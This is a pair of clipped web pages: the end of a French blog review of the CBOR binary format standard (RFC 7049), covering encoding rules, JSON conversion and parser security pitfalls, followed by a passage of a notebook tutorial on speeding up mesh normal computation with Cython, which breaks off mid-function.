ou des informations supplémentaires, afin de faciliter la mise en œuvre de
CBOR dans des environnements très contraints en ressources**.** Ainsi, on a
parfaitement le droit de faire un décodeur CBOR qui ne gérera pas les nombres
flottants, si un protocole donné n'en a pas besoin**.**

Un cas délicat est celui des _maps_ \(section 3**.** 7\). CBOR ne place guère
de restrictions sur le type des clés et un protocole ou format qui utilise
CBOR voudra souvent être plus restrictif**.** Par exemple, si on veut
absolument être compatible avec JSON, restreindre les clés des chaînes en
UTF-8 est souhaitable**.** Si on tient à utiliser d'autres types pour les clés
\(voire des types différents pour les clés d'une même _map_ **\!**\), il faut
se demander comment on les traduira lorsqu'on enverra ces _maps_ à une
application**.** Par exemple, en **JavaScript** , la clé formée de l'entier 1
est indistinguable de celle formée de la chaîne de caractères "1"**.** Une
application en JavaScript ne pourra donc pas se servir d'une _map_ qui aurait
de telles clés, de types variés**.**

On a vu que certains élements CBOR pouvaient être encodés de différentes
manières, par exemple un tableau peut être représenté par \{longueur,
valeurs\} ou bien par \{valeurs, _break code_\}**.** Cela facilite la tâche
des encodeurs mais peut compliquer celle des décodeurs, et cela peut rendre
certaines opérations, comme la comparaison de deux fichiers, délicates**.**
Existe t-il une forme canonique de CBOR ? Non, pas en standard, et ce point a
suscité de chaudes discussions à l'IETF**.** Néanmoins, un protocole ou format
donné, qui utilise CBOR, peut définir une telle forme canonique**.** La
section 3.9 donne quelques pistes à ce sujet et suggère les règles suivantes :

  * Mettre les entiers sous la forme la plus compacte possible**.** L'entier 2 peut être représenté par un octet \(type majeur 0 puis détails égaux à 2\) ou deux \(type majeur 0, détails à 24 puis deux octets contenant la valeur 2\), voire davantage**.** La forme canonique recommandée est la première \(un seul octet\)**.** Même règle pour les longueurs \(qui, en CBOR, sont encodées comme les entiers**.**\)
  * Trier les clés d'une _map_ de la plus petite à la plus grande**.** \(Selon leur représentation en octets, pas selon l'ordre alphabétique**.**\)
  * Mettre les tableaux et les chaînes sous la forme \{longueur, valeurs\}**.**

Tous les encodeurs CBOR qui suivent ces règles \(qui seront peut-être un jour
normalisées dans un nouveau RFC définissant le « CBOR canonique »\)
produiront, pour un même jeu de données, le même encodage**.**

Autre question pratique importante, le comportement en cas d'erreurs**.** Que
doit faire un décodeur CBOR si deux clés sont identiques dans une _map_ , ce
qui est normalement interdit en CBOR **?** Ou si un champ longueur indique
qu'on va avoir un tableau de 5 éléments mais qu'on n'en rencontre que 4 avant
la fin du fichier **?** Ou si une chaîne de caractères, derrière son type
majeur 3, n'est pas de l'UTF-8 bien formé **?** Les sections 3**.** 3, 3.4 et
3.10 décrivent la question. CBOR n'est pas pédant: un décodeur a le droit
d'ignorer certaines erreurs, de remplacer les valeurs par ce qui lui semble
approprié**.** CBOR penche nettement du côté « être indulgent avec les données
reçues  » ; il faut dire qu'une application qui utilise CBOR peut toujours le
renforcer en ajoutant l'obligation de rejeter ces données erronées**.** Un
décodeur strict peut donc s'arrêter à la première erreur**.** Ainsi, un
**pare-feu** qui analyse du CBOR à la recherche de contenu malveillant a tout
intérêt à rejeter les données CBOR incorrectes \(puisqu'il ne sait pas trop
comment elles seront interprétées par la vraie application, la section 7
revient sur ce point\)**.** Bref, la norme CBOR ne spécifie pas de traitement
d'erreur unique**.**

Comme CBOR a un modèle de données proche de celui de JSON, on aura souvent
envie d'utiliser CBOR comme encodage efficace de JSON**.** Comment convertir
du CBOR en JSON et vice-versa sans trop de surprises **?** La section 4 du RFC
se penche sur ce problème. Depuis CBOR vers JSON, les traductions suivantes
sont suggérées :

  * Les entiers deviennent évidemment des nombres JSON**.**
  * Les chaînes d'octets sont encodées en **base64** et deviennent des chaînes de caractères JSON \(JSON n'a pas d'autre moyen de transporter du binaire\)**.**
  * Les chaînes de caractères deviennent des chaînes de caractères JSON \(ce qui nécessite d'en **échapper** certains, RFC 4627 , section 2**.** 5\).
  * Les tableaux deviennent des tableaux JSON et les _maps_ des objets JSON \(ce qui impose de convertir les clés en chaînes UTF-8, si elles ne l'étaient pas déjà\)**.**

En sens inverse, de JSON vers CBOR, c'est plus simple, puisque JSON n'a pas de
constructions qui seraient absentes de CBOR**.**

Pour les amateurs de futurisme, la section 5 discute des éventuelles
évolutions de CBOR**.** Pour les faciliter, CBOR a réservé de la place dans
certains espaces**.** Ainsi, le type majeur 7 permettra d'encoder encore
quelques valeurs simples \(cela nécessitera un **RFC** sur le chemin des
normes, cf**.** RFC 5226  et la section 7.1 de notre RFC\)**.** Et on peut
ajouter d'autres valeurs d'étiquettes \(selon des règles qui dépendent de la
valeur numérique : les valeurs les plus faibles nécessiteront une procédure
plus complexe, cf**.** section 7.2\).

CBOR est un format binaire**.** Cela veut dire, entre autres, qu'il n'est pas
évident de montrer des valeurs CBOR dans, mettons, une documentation,
contrairement à JSON**.** La section 6 décrit donc un format texte
\(volontairement non spécifié en détail\) qui permettra de mettre des valeurs
CBOR dans du texte**.** Nulle grammaire formelle pour ce format : il est prévu
pour l'utilisation par un humain, pas par un **analyseur syntaxique****.** Ce
format ressemble à JSON avec quelques extensions pour les nouveautés de
CBOR**.** Par exemple, les étiquettes sont représentées par un nombre suivi
d'une valeur entre parenthèses**.** Ainsi, la date \(une chaîne de caractères
étiquetée par la valeur 0\) sera notée :

[code]

    0("2013-10-12T11:34:00Z")
    
[/code]

Une _map_ de deux éléments sera notée comme en JSON :

[code]

    {"Fun": true, "Amt": -2}  
    
[/code]

Même chose pour les tableaux**.** Ici, avec étiquette sur deux chaînes de
caractères :

[code]

    [32("http://cbor**.** io/"), 34("SW5zw6lyZXogaWNpIHVuIMWTdWYgZGUgUMOicXVlcw==")]
    
[/code]

Lors de l'envoi de données encodées en CBOR, le type **MIME** à utiliser sera
`application/cbor`**.** Comme l'idée est d'avoir des formats définis en
utilisant la syntaxe CBOR et des règles sémantiques spécifiques, on verra
aussi sans doute des types MIME utilisant la notation plus du RFC 6839 , par
exemple `application/monformat+cbor`**.**

Un petit mot sur la sécurité \(section 8\) : il est bien connu qu'un analyseur
mal écrit est un gros risque de sécurité et d'innombrables attaques ont déjà
été réalisées en envoyant à la victime un fichier délibérement incorrect,
conçu pour déclencher une faille de l'analyseur**.** Ainsi, en CBOR, un
décodeur qui lirait une longueur, puis chercherait le nombre d'éléments
indiqué, sans vérifier qu'il est arrivé au bout du fichier, pourrait
déclencher un **débordement de tampon****.** Les auteurs de décodeurs CBOR
sont donc priés de programmer de manière défensive, voire paranoïaque : ne
faites pas confiance au contenu venu de l'extérieur**.**

Autre problème de sécurité, le risque d'une attaque par **déni de
service****.** Un attaquant taquin peut envoyer un fichier CBOR où la longueur
d'un tableau est un très grand nombre, dans l'espoir qu'un analyseur naïf va
juste faire `malloc(length)` sans se demander si cela ne consommera pas toute
la mémoire**.**

Enfin, comme indiqué plus haut à propos du traitement d'erreur, comme CBOR ne
spécifie pas de règles standard pour la gestion des données erronées, un
attaquant peut exploiter cette propriété pour faire passer des données «
dangereuses » en les encodant de telle façon que l'**IDS** n'y voit que du
feu**.** Prenons par exemple cette _map_ :

[code]

    {"CodeToExecute": "OK",
     "CodeToExecute": "DANGER"}
    
[/code]

Imaginons qu'une application lise ensuite la donnée indexée par
`CodeToExecute`**.** Si, en cas de clés dupliquées, elle lit la dernière
valeur, elle exécutera le code dangereux**.** Si un IDS lit la première
valeur, il ne se sera pas inquiété**.** Voilà une bonne raison de rejeter du
CBOR invalide \(les clés dupliquées sont interdites\) : il peut être
interprété de plusieurs façons**.**

Pour les amateurs d'alternatives, l'annexe E du RFC compare CBOR à des formats
analogues**.** Attention, la comparaison se fait à la lumière du cahier des
charges de CBOR, qui n'était pas forcément le cahier des charges de ces
formats**.** Ainsi, **ASN**.** 1 ** \(ou plutôt ses sérialisations comme
**BER** ou **DER** , **PER** étant nettement moins courant puisqu'il nécessite
de connaître le schéma des donnéees\) est utilisé par plusieurs protocoles
**IETF** \(comme **LDAP**\) mais le décoder est une entreprise compliquée**.**

**MessagePack** est beaucoup plus proche de CBOR, dans ses objectifs et ses
résultats, et a même été le point de départ du projet CBOR**.** Mais il
souffre de l'absence d'extensibilité propre**.** Plusieurs propositions
d'extensions sont restées bloquées à cause de cela**.**

**BSON** \(connu surtout via son utilisation dans **MongoDB**\) a le même
problème**.** En outre, il est conçu pour le stockage d'objets JSON dans une
base de données, pas pour la transmission sur le réseau \(ce qui explique
certains de ses choix\)**.** **UBJSON** est un autre encodage binaire de
JSON**.** Contrairement à CBOR, il se tient étroitement au modèle de données
de JSON**.** Enfin, MSDTP, spécifié dans le RFC 713 , n'a jamais été
réellement utilisé**.**

Rappelez-vous que CBOR prioritise la simplicité de l'encodeur et du décodeur
plutôt que la taille des données encodées**.** Néanmoins, un tableau en annexe
E.6 compare les tailles d'un même objet encodé avec tous ces protocoles : BSON
est de loin le plus bavard \(BER est le second\), MessagePack et CBOR les plus
compacts**.**

Une liste des implémentations sera publiée en `http://cbor**.** io/` \(il est
vide en ce moment\). Au moins quatre existent, en **Python** , **Ruby** ,
**JavaScript** et **Java****.**

Merci à Carsten Bormann pour sa relecture**.**

* * *
Téléchargez le RFC 7049

Version PDF de cette page  \(mais vous pouvez aussi imprimer depuis votre
navigateur, il y a une feuille de style prévue pour cela\)

Source XML de cette page  \(cette page est distribuée sous les termes de la
licence GFDL \)

****

# Cython: Optimising for speed

**Created:**| _8/21/2013 7:58:27 AM_  
---|---  
**Updated:**| _8/21/2013 8:00:26 AM_  
**Author:**| __  
**Tags:**| _compiler-building python optimisation_  
  

# Cython: Optimising for speed

This notebook aims to take the reader through a realworld example of
increasing the speed on an algorithm. The given example is that of computing
the normals for a given triangle mesh \(points and a trilist\). Computing the
per-vertex normal for a mesh is an intensive operation that yields poor
performance in pure Python. This is due to the need to loop over every
triangle and and sum the per-triangle normal that every vertex is a member of.
This notebook is not designed to describe Cython syntax or basics. It is
assumed that the reader has some understanding and preferably experience with
writing Cythonised functions.

## Algorithm Pseudocode

\`\`\` foreach face in faces: face\_normal =
crossproduct\(vertices\[face\[1\]\] - vertices\[face\[0\]\],
vertices\[face\[2\]\] - vertices\[face\[0\]\]\) foreach v in face:
normalise\(face\_normal\) vertices\[v\].in\_faces.append\(face\_normal\)

foreach vertex in vertices: normal = \(0,0,0\) for face in vertex.in\_faces:
normal += face\_normal normalise\(normal\)

crossproduct\(v0, v1\): v0.y \* v1.z - v0.z \* v1.y, v0.z \* v1.x - v0.x \*
v1.z, v0.x \* v1.y - v0.y \* v1.x, \`\`\`

## Begin

We begin by loading an appropriate mesh.

In \[15\]:

[code]

    from pybug.io import auto_import
    import numpy as np
    
    mesh = auto_import('/vol/atlas/databases/frgc/spring2003/04201d302.abs')[0]
    tris = mesh.trilist
    points = mesh.points
    
    print mesh
    
[/code]

[code]

    Found 1 files. (1/1) are importable
    
    Creating importer for <pybug.io.mesh.base.ABSImporter object at 0xbff26d0> (1 of 1)
    Found 1 files. (0/1) are importable
    
    <class 'pybug.shape.mesh.textured.TexturedTriMesh'>: n_points: 61599, n_dims: 3
    n_tris: 123160
    
[/code]

## Pure Python Implementation

This implementation uses numpy and broadcasting to achieve it's goals.

In \[16\]:

[code]

    def normalise(vec):
        # Avoid divisions by almost 0 numbers
        # np.spacing(1) is equivalent to Matlab's eps
        d = np.sqrt(np.sum(vec ** 2, axis=1))
        d[d < np.spacing(1)] = 1.0
        return vec / d[..., None]
    
    def py_compute_normal(vertex, face):
        nface = face.shape[0]
        nvert = vertex.shape[0]
        
        # Calculate the cross product (per-face normal)
        normalf = np.cross(vertex[face[:, 1], :] - vertex[face[:, 0], :],
                           vertex[face[:, 2], :] - vertex[face[:, 0], :])
        normalf = normalise(normalf)
        
        # Calculate per-vertex normal
        normal = np.zeros([nvert, 3])
        for i in xrange(nface):
            f = face[i, :]
            for j in xrange(3):
                normal[f[j], :] += normalf[i, :]
                
        # Normalize
        normal = normalise(normal)
        
        # Enforce that the normal are outward
        v = vertex - np.mean(vertex)[..., None]
        s = np.sum(v * normal, axis=1)
        if np.sum(np.greater(s, 0)) < np.sum(np.less(s, 0)):
            # flip
            normal = -normal
            normalf = -normalf
        
        return normal, normalf
    
[/code]

If we then time this function, we can see that it takes about 3 seconds \(on
my `Intel(R) Xeon(R) CPU E5-1650 @ 3.20GHz` with `32GB` of RAM\) for `123160`
triangles and `61599` points.

In \[17\]:

[code]

    %timeit py_compute_normal(points, tris)
    
[/code]

[code]

    1 loops, best of 3: 3.15 s per loop
    
[/code]

## Naive Cython

This is obviously far too slow to be of any use. Therefore, we naively port
this method to Cython. Cython is useful for code where tight looping is
unavoidable, as is the case in computing the per-vertex normal. This is
because it pre-compiles as much of the code as possible down to C, which is
very efficient at tight looping. To compile Cython code, we have to load the
Cython magic extension

In \[18\]:

[code]

    %load_ext cythonmagic
    
[/code]

[code]

    The cythonmagic extension is already loaded. To reload it, use:
      %reload_ext cythonmagic
    
[/code]

The Cython extension gives us the `%%cython` cell magic where we can put raw
Cython code which will compiled on execution. TO get started with Cython, we
note that the majority of Cython's speedup comes from the fact that we
statically type variables. Therefore, we always have to import some C code via
the `cimport` statement. For example, to use numpy, we could use:

In \[19\]:

[code]

    %%cython
    import numpy as np
    
    cimport cython
    cimport numpy as np
    
[/code]

Note that we have to Python `import` Numpy **AND** `cimport` it. Therefore, a
simple Cython function using numpy would look like:

In \[20\]:

[code]

    %%cython
    import numpy as np
    
    cimport cython
    cimport numpy as np
    
    def my_pow(double x):
        return np.power(x, 2)
    
    print my_pow(2.0)
    
[/code]

It's important to note that there are 3 kinds of functions definitions in
Cython:

  * `def`
    * This is a Python function. It is called via Python and thus has all the overhead of being called by Python. Any C-code will have to call out of Python
    * Parameters are Python objects which are then explicitly converted to static types if specified
    * Returns a Python object
  * `cdef`
    * This is a C signature and can **ONLY** run from a Cython context. It cannot be called by pure Python code.
    * Parameters are converted to static type by the caller
    * Return type can be statitically defined
  * `cpdef`
    * This is a mixed signature whereby Cython automatically builds a pure Python wrapper around a `cdef` function. So Python calls the wrapper and C calls the `cdef` function.
    * Parameters are converted to C type of Python wrapper
    * Return types are statically defined and marshalled by Python wrapper

So, to create a naive implementation of our Python function, in Cython, we
define `cpdef` function as follows:

In \[21\]:

[code]

    %%cython
    import numpy as np
    cimport numpy as np
    cimport cython
    
    
    cdef np.ndarray[np.float64_t, ndim=2] cy_normalise_naive(np.ndarray[np.float64_t, ndim=2] vec):
        # Avoid divisions by almost 0 numbers
        cdef np.ndarray[np.float64_t, ndim=1] d = np.sqrt(np.sum(vec ** 2, axis=1))
        d[d < np.spacing(1)] = 1.0
        return vec / d[..., None]
     
    
    cpdef cy_compute_normal_naive(np.ndarray[np.float64_t, ndim=2] vertex, np.ndarray[int, ndim=2] face):
        cdef int nface = face.shape[0]
        cdef int nvert = vertex.shape[0]
        
        # Calculate the cross product (per-face normal)
        cdef np.ndarray[np.float64_t, ndim=2] normalf = np.cross(vertex[face[:, 1], :] - vertex[face[:, 0], :],
                                                                 vertex[face[:, 2], :] - vertex[face[:, 0], :])
        normalf = cy_normalise_naive(normalf)
        
        # Calculate per-vertex normal
        cdef np.ndarray[np.float64_t, ndim=2] normal = np.zeros([nvert, 3])
        cdef np.ndarray[int, ndim=1] f
        for i in xrange(nface):
            f = face[i, :]
            for j in xrange(3):
                normal[f[j], :] += normalf[i, :]
        
        # Normalize
        normal = cy_normalise_naive(normal)
        
        # Enforce that the normal are outward
        cdef np.ndarray[np.float64_t, ndim=2] v = vertex - np.mean(vertex)[..., None]
        cdef np.ndarray[np.float64_t, ndim=1] s = np.sum(v * normal, axis=1)
        if np.sum(np.greater(s, 0)) < np.sum(np.less(s, 0)):
            # flip
            normal = -normal
            normalf = -normalf
        
        return normal, normalf
    
[/code]

If we then time this function, we can see that it takes about 1.8 seconds \(on
my `Intel(R) Xeon(R) CPU E5-1650 @ 3.20GHz` with `32GB` of RAM\) for `123160`
triangles and `61599` points. This represents an approximately 1.6x speedup
just by naively moving the code in to a Cython function. Other than the static
typing, the code is almost identical.

_Note:_ There are decorators such as `@cython.boundscheck(False)` and
`@cython.wraparound(False)` that can provide speedups by telling Cython that
you guarantee the kinds of accesses arrays will have inside the function. See
here for more information.

In \[22\]:

[code]

    %timeit cy_compute_normal_naive(points, tris)
    
[/code]

[code]

    1 loops, best of 3: 1.9 s per loop
    
[/code]

## Optimising Cython

However, we can do better than this\! In order to give us a better indiciaton,
Cython provides the ability to pass flags in for execution. These can be
compile time flags, or special running flags. The flag we are interested in is
`-a`. This provides an output that colour codes the typing that is going on
within the Cython function. Yellow backgrounds indicate function calls back in
to Python \(which is slow\), and white/clear backgrounds represent pure C
calls. If we run this on our naive implementaton, we get the following:

In \[23\]:

[code]

    %%cython -a
    
    import numpy as np
    cimport numpy as np
    cimport cython
    
    
    cdef np.ndarray[np.float64_t, ndim=2] cy_normalise_naive(np.ndarray[np.float64_t, ndim=2] vec):
        # Avoid divisions by almost 0 numbers
        cdef np.ndarray[np.float64_t, ndim=1] d = np.sqrt(np.sum(vec ** 2, axis=1))
        d[d < np.spacing(1)] = 1.0
        return vec / d[..., None]
     
    
    cpdef cy_compute_normal_naive(np.ndarray[np.float64_t, ndim=2] vertex, np.ndarray[int, ndim=2] face):
        cdef int nface = face.shape[0]
        cdef int nvert = vertex.shape[0]
        
        # unit normals to the faces
        cdef np.ndarray[np.float64_t, ndim=2] normalf = np.cross(vertex[face[:, 1], :] - vertex[face[:, 0], :],
                                                                 vertex[face[:, 2], :] - vertex[face[:, 0], :])
        normalf = cy_normalise_naive(normalf)
        
        # unit normal to the vertex
        cdef np.ndarray[np.float64_t, ndim=2] normal = np.zeros([nvert, 3])
        cdef double[:] f
        for i in xrange(nface):
            f = face[i, :]
            for j in xrange(3):
                normal[f[j], :] += normalf[i, :]
        
        # normalize
        normal = cy_normalise_naive(normal)
        
        # enforce that the normal are outward
        cdef np.ndarray[np.float64_t, ndim=2] v = vertex - np.mean(vertex)[..., None]
        cdef np.ndarray[np.float64_t, ndim=1] s = np.sum(v * normal, axis=1)
        if np.sum(np.greater(s, 0)) < np.sum(np.less(s, 0)):
            # flip
            normal = -normal
            normalf = -normalf
        
        return normal, normalf
    
[/code]

Out\[23\]:

Generated by Cython 0.19.1 on Fri Aug 16 16:37:23 2013

[code]

     1: 
[/code]

[code]

     2: import numpy as np
[/code]

[code]

     3: cimport numpy as np
[/code]

[code]

     4: cimport cython
[/code]

[code]

     5: 
[/code]

[code]

     6: 
[/code]

[code]

     7: cdef np.ndarray[np.float64_t, ndim=2] cy_normalise_naive(np.ndarray[np.float64_t, ndim=2] vec):
[/code]

[code]

     8:     # Avoid divisions by almost 0 numbers
[/code]

[code]

     9:     cdef np.ndarray[np.float64_t, ndim=1] d = np.sqrt(np.sum(vec ** 2, axis=1))
[/code]

[code]

     10:     d[d < np.spacing(1)] = 1.0
[/code]

[code]

     11:     return vec / d[..., None]
[/code]

[code]

     12: 
[/code]

[code]

     13: 
[/code]

[code]

     14: cpdef cy_compute_normal_naive(np.ndarray[np.float64_t, ndim=2] vertex, np.ndarray[int, ndim=2] face):
[/code]

[code]

     15:     cdef int nface = face.shape[0]
[/code]

[code]

     16:     cdef int nvert = vertex.shape[0]
[/code]

[code]

     17: 
[/code]

[code]

     18:     # unit normals to the faces
[/code]

[code]

     19:     cdef np.ndarray[np.float64_t, ndim=2] normalf = np.cross(vertex[face[:, 1], :] - vertex[face[:, 0], :],
[/code]

[code]

     20:                                                              vertex[face[:, 2], :] - vertex[face[:, 0], :])
[/code]

[code]

     21:     normalf = cy_normalise_naive(normalf)
[/code]

[code]

     22: 
[/code]

[code]

     23:     # unit normal to the vertex
[/code]

[code]

     24:     cdef np.ndarray[np.float64_t, ndim=2] normal = np.zeros([nvert, 3])
[/code]

[code]

     25:     cdef double[:] f
[/code]

[code]

     26:     for i in xrange(nface):
[/code]

[code]

     27:         f = face[i, :]
[/code]

[code]

     28:         for j in xrange(3):
[/code]

[code]

     29:             normal[f[j], :] += normalf[i, :]
[/code]

[code]

     30: 
[/code]

[code]

     31:     # normalize
[/code]

[code]

     32:     normal = cy_normalise_naive(normal)
[/code]

[code]

     33: 
[/code]

[code]

     34:     # enforce that the normal are outward
[/code]

[code]

     35:     cdef np.ndarray[np.float64_t, ndim=2] v = vertex - np.mean(vertex)[..., None]
[/code]

[code]

     36:     cdef np.ndarray[np.float64_t, ndim=1] s = np.sum(v * normal, axis=1)
[/code]

[code]

     37:     if np.sum(np.greater(s, 0)) < np.sum(np.less(s, 0)):
[/code]

[code]

     38:         # flip
[/code]

[code]

     39:         normal = -normal
[/code]

[code]

     40:         normalf = -normalf
[/code]

[code]

     41: 
[/code]

[code]

     42:     return normal, normalf
[/code]

Looking above, we see that the majority of the code is still making calls back
in to Python. In particular, the slow vetex loop is making a Python call
**every iteration**. Therefore, we want to try and remove this.

In \[24\]:

[code]

    %%cython -a
    
    import numpy as np
    cimport numpy as np
    cimport cython
    
    
    cdef np.ndarray[np.float64_t, ndim=2] cy_normalise_naive(np.ndarray[np.float64_t, ndim=2] vec):
        # Avoid divisions by almost 0 numbers
        cdef np.ndarray[np.float64_t, ndim=1] d = np.sqrt(np.sum(vec ** 2, axis=1))
        d[d < np.spacing(1)] = 1.0
        return vec / d[..., None]
     
        
    cpdef cy_compute_normal_better(np.ndarray[np.float64_t, ndim=2] vertex, np.ndarray[int, ndim=2] face):
        cdef int nface = face.shape[0]
        cdef int nvert = vertex.shape[0]
        
        # unit normals to the faces
        cdef np.ndarray[np.float64_t, ndim=2] normalf = np.cross(vertex[face[:, 1], :] - vertex[face[:, 0], :],
                                                                 vertex[face[:, 2], :] - vertex[face[:, 0], :])
        normalf = cy_normalise_naive(normalf)
        
        # unit normal to the vertex
        cdef np.ndarray[np.float64_t, ndim=2] normal = np.zeros([nvert, 3])
        cdef int f0, f1, f2
        for i in range(nface):
            f0 = face[i, 0]
            f1 = face[i, 1]
            f2 = face[i, 2]
            for j in range(3):
                normal[f0, j] += normalf[i, j]   
                normal[f1, j] += normalf[i, j]       
                normal[f2, j] += normalf[i, j]
        
        # normalize
        normal = cy_normalise_naive(normal)
        
        # enforce that the normal are outward
        cdef np.ndarray[np.float64_t, ndim=2] v = vertex - np.mean(vertex)[..., None]
        cdef np.ndarray[np.float64_t, ndim=1] s = np.sum(v * normal, axis=1)
        if np.sum(np.greater(s, 0)) < np.sum(np.less(s, 0)):
            # flip
            normal = -normal
            normalf = -normalf
        
        return normal, normalf
    
[/code]

Out\[24\]:

Generated by Cython 0.19.1 on Fri Aug 16 16:37:23 2013

[code]

     1: 
[/code]

[code]

     2: import numpy as np
[/code]

[code]

     3: cimport numpy as np
[/code]

[code]

     4: cimport cython
[/code]

[code]

     5: 
[/code]

[code]

     6: 
[/code]

[code]

     7: cdef np.ndarray[np.float64_t, ndim=2] cy_normalise_naive(np.ndarray[np.float64_t, ndim=2] vec):
[/code]

[code]

     8:     # Avoid divisions by almost 0 numbers
[/code]

[code]

     9:     cdef np.ndarray[np.float64_t, ndim=1] d = np.sqrt(np.sum(vec ** 2, axis=1))
[/code]

[code]

     10:     d[d < np.spacing(1)] = 1.0
[/code]

[code]

     11:     return vec / d[..., None]
[/code]

[code]

     12: 
[/code]

[code]

     13: 
[/code]

[code]

     14: cpdef cy_compute_normal_better(np.ndarray[np.float64_t, ndim=2] vertex, np.ndarray[int, ndim=2] face):
[/code]

[code]

     15:     cdef int nface = face.shape[0]
[/code]

[code]

     16:     cdef int nvert = vertex.shape[0]
[/code]

[code]

     17: 
[/code]

[code]

     18:     # unit normals to the faces
[/code]

[code]

     19:     cdef np.ndarray[np.float64_t, ndim=2] normalf = np.cross(vertex[face[:, 1], :] - vertex[face[:, 0], :],
[/code]

[code]

     20:                                                              vertex[face[:, 2], :] - vertex[face[:, 0], :])
[/code]

[code]

     21:     normalf = cy_normalise_naive(normalf)
[/code]

[code]

     22: 
[/code]

[code]

     23:     # unit normal to the vertex
[/code]

[code]

     24:     cdef np.ndarray[np.float64_t, ndim=2] normal = np.zeros([nvert, 3])
[/code]

[code]

     25:     cdef int f0, f1, f2
[/code]

[code]

     26:     for i in range(nface):
[/code]

[code]

     27:         f0 = face[i, 0]
[/code]

[code]

     28:         f1 = face[i, 1]
[/code]

[code]

     29:         f2 = face[i, 2]
[/code]

[code]

     30:         for j in range(3):
[/code]

[code]

     31:             normal[f0, j] += normalf[i, j]
[/code]

[code]

     32:             normal[f1, j] += normalf[i, j]
[/code]

[code]

     33:             normal[f2, j] += normalf[i, j]
[/code]

[code]

     34: 
[/code]

[code]

     35:     # normalize
[/code]

[code]

     36:     normal = cy_normalise_naive(normal)
[/code]

[code]

     37: 
[/code]

[code]

     38:     # enforce that the normal are outward
[/code]

[code]

     39:     cdef np.ndarray[np.float64_t, ndim=2] v = vertex - np.mean(vertex)[..., None]
[/code]

[code]

     40:     cdef np.ndarray[np.float64_t, ndim=1] s = np.sum(v * normal, axis=1)
[/code]

[code]

     41:     if np.sum(np.greater(s, 0)) < np.sum(np.less(s, 0)):
[/code]

[code]

     42:         # flip
[/code]

[code]

     43:         normal = -normal
[/code]

[code]

     44:         normalf = -normalf
[/code]

[code]

     45: 
[/code]

[code]

     46:     return normal, normalf
[/code]

Eureka\! By turning lines `24-36` to pure C, just by guaranteeing their
accesses as C types, we have sped up our function to approximately 80 ms. This
represents an approximate 38x speedup from the original\! And all we did was
partially unwrap a single loop. This is the key when trying to optimise Cython
code. You need to ensure that all loops make as few calls in to Python code as
possible.

In \[25\]:

[code]

    %timeit cy_compute_normal_better(points, tris)
    
[/code]

[code]

    10 loops, best of 3: 73 ms per loop
    
[/code]

## Diminishing Returns

So now the game has become trying to turn as much of that Yellow code in to
white code. Note that there is certainly a diminishing law of returns going on
here. Our previous optimisation was almost certainly the largest jump in
performance we will be able to achieve. Given that we don't gave any other
loops, we are unlikely to get large 100+% jumps in performance. Numpy calls
are already vectorized and manually unrolling them in to loops will not yield
a very big performance boost. If we run the magic function `%prun`, this will
give us profiling information about the functions that are called. We use the
`-r` flag in order to return the profiler object so that we can print it in to
the cell. Normally, this need just be called as:

`python %prun cy_compute_normal_better(points, tris)`

which opens up a seperate window in the notebook.

In \[26\]:

[code]

    p = %prun -r cy_compute_normal_better(points, tris)
    p.print_stats()
    
[/code]

Out\[26\]:

[code]

              40 function calls in 0.075 seconds
    
       Ordered by: internal time
    
       ncalls  tottime  percall  cumtime  percall filename:lineno(function)
            1    0.043    0.043    0.075    0.075 {_cython_magic_e68c2952022b03511661b5dfa01f749b.cy_compute_normal_better}
            4    0.028    0.007    0.028    0.007 {numpy.core.multiarray.array}
            1    0.002    0.002    0.030    0.030 numeric.py:1214(cross)
            6    0.002    0.000    0.002    0.000 {method 'reduce' of 'numpy.ufunc' objects}
            5    0.000    0.000    0.002    0.000 fromnumeric.py:1422(sum)
            1    0.000    0.000    0.000    0.000 _methods.py:42(_mean)
            5    0.000    0.000    0.002    0.000 _methods.py:16(_sum)
            1    0.000    0.000    0.000    0.000 _methods.py:32(_count_reduce_items)
            3    0.000    0.000    0.000    0.000 {method 'swapaxes' of 'numpy.ndarray' objects}
            2    0.000    0.000    0.000    0.000 numeric.py:252(asarray)
            7    0.000    0.000    0.000    0.000 {isinstance}
            1    0.000    0.000    0.075    0.075 <string>:1(<module>)
            1    0.000    0.000    0.000    0.000 fromnumeric.py:2405(mean)
            1    0.000    0.000    0.000    0.000 numeric.py:322(asanyarray)
            1    0.000    0.000    0.000    0.000 {method 'disable' of '_lsprof.Profiler' objects}
    
    
    
[/code]

[code]

    <pstats.Stats instance at 0x96f6290>
[/code]

The profiling output tells us that the majority of the time is spent inside
the Cython function. However, almost half the time is spent inside the numpy
cross product function. Looking at the source code of numpy's cross product
shows us that it does a bunch of checks to try and ensure that the shapes of
the vectors match. However, we know that are guaranteed to have standard `Nx3`
vectors. So, what happens if we roll our own cross product method?

In \[27\]:

[code]

    %%cython -a
    
    import numpy as np
    cimport numpy as np
    cimport cython
    
            
    cdef np.ndarray[np.float64_t, ndim=2] normalise(np.ndarray[np.float64_t, ndim=2] vec):
        # Avoid divisions by almost 0 numbers
        cdef np.ndarray[np.float64_t, ndim=1] d = np.sqrt(np.sum(vec ** 2, axis=1))
        d[d < np.spacing(1)] = 1.0
        return vec / d[..., None]
         
    
    cdef inline np.ndarray[np.float64_t, ndim=2] cross(double[:, :] x, double[:, :] y):
        cdef np.ndarray[np.float64_t, ndim=2] z = np.empty_like(x)
        cdef int n = x.shape[0]
        for i in range(n):
            z[i, 0] = x[i, 1] * y[i, 2] - x[i, 2] * y[i, 1]
            z[i, 1] = x[i, 2] * y[i, 0] - x[i, 0] * y[i, 2]
            z[i, 2] = x[i, 0] * y[i, 1] - x[i, 1] * y[i, 0]
        
        return z
    
    
    cpdef cy_compute_normal(np.ndarray[np.float64_t, ndim=2] vertex, np.ndarray[int, ndim=2] face):
        cdef int nface = face.shape[0]
        cdef int nvert = vertex.shape[0]
        
        # unit normals to the faces
        cdef np.ndarray[np.float64_t, ndim=2] normalf = cross(vertex[face[:, 1], :] - vertex[face[:, 0], :],
                                                              vertex[face[:, 2], :] - vertex[face[:, 0], :])
        normalf = normalise(normalf)
        
        # unit normal to the vertex
        cdef np.ndarray[np.float64_t, ndim=2] normal = np.zeros([nvert, 3])
        cdef int f0, f1, f2
        for i in range(nface):
            f0 = face[i, 0]
            f1 = face[i, 1]
            f2 = face[i, 2]
            for j in range(3):
                normal[f0, j] += normalf[i, j]   
                normal[f1, j] += normalf[i, j]       
                normal[f2, j] += normalf[i, j]
        
        # normalize
        normal = normalise(normal)
        
        # enforce that the normal are outward
        cdef np.ndarray[np.float64_t, ndim=2] v = vertex - np.mean(vertex)[..., None]
        cdef np.ndarray[np.float64_t, ndim=1] s = np.sum(v * normal, axis=1)
